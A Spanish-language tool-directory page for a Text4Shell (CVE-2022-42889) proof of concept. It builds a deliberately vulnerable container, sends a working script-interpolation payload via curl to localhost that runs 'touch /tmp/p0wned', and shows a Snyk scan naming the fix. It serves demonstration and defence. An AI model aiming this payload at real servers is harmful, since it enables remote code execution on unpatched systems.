Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-42889-PoC — CVE-2022-42889 (también conocido como Text4Shell) Prueba de concepto de RCE | Kitploit
Herramientas/GitHubGitHub/sunnyvale-it/cve-2022-42889-poc
Seguridad de ContenedoresGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y Educación
GitHubsunnyvale-it/cve-2022-42889-poc

CVE-2022-42889-PoC

CVE-2022-42889 (también conocido como Text4Shell) Prueba de concepto de RCE

Ver Repositorio
213hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-42889 (también conocido como Text4Shell) Prueba de Concepto RCE

image

Text4Shell es el nombre popular de una vulnerabilidad de software crítica descubierta en la biblioteca Apache Commons Text (ver CVE-2022-42889).

Este repositorio está destinado a demostrar una Ejecución Remota de Código (RCE) que aprovecha esta CVE.

El código vulnerable se está utilizando en un controlador SpringBoot, pero no se confunda, esto NO ES un problema de seguridad de SpringBoot/Spring.

Antes de probar la RCE, construya la imagen Docker:

root@kitploit:~
$ docker build -t text4shell .
...
 => exporting to image                                                                                                                                                                                     0.0s
 => => exporting layers                                                                                                                                                                                    0.0s
 => => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f                                                                                                               0.0s
 => => naming to docker.io/library/text4shell

Luego ejecute el contenedor:

root@kitploit:~
$ docker run --name text4shell --rm -ti  -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798  INFO 1 --- [           main] it.sunnyvale.text4shell.Main             : Started Main in 1.376 seconds (JVM running for 1.713)

Finalmente puede intentar explotar la aplicación vulnerable con una URL especialmente diseñada:

root@kitploit:~
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%

Si encuentra un archivo llamado p0wned en el directorio /tmp del contenedor, la RCE se ejecutó exitosamente.

root@kitploit:~
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r--    1 root     root             0 Nov  5 09:17 /tmp/p0wned

Escanear la imagen con Snyk detecta la biblioteca vulnerable:

root@kitploit:~
$ docker scan text4shell | grep text
Testing text4shell...
Project name:      docker-image|text4shell
Docker image:      text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name:      text4shell:latest:/app
Docker image:      text4shell
Descargar herramienta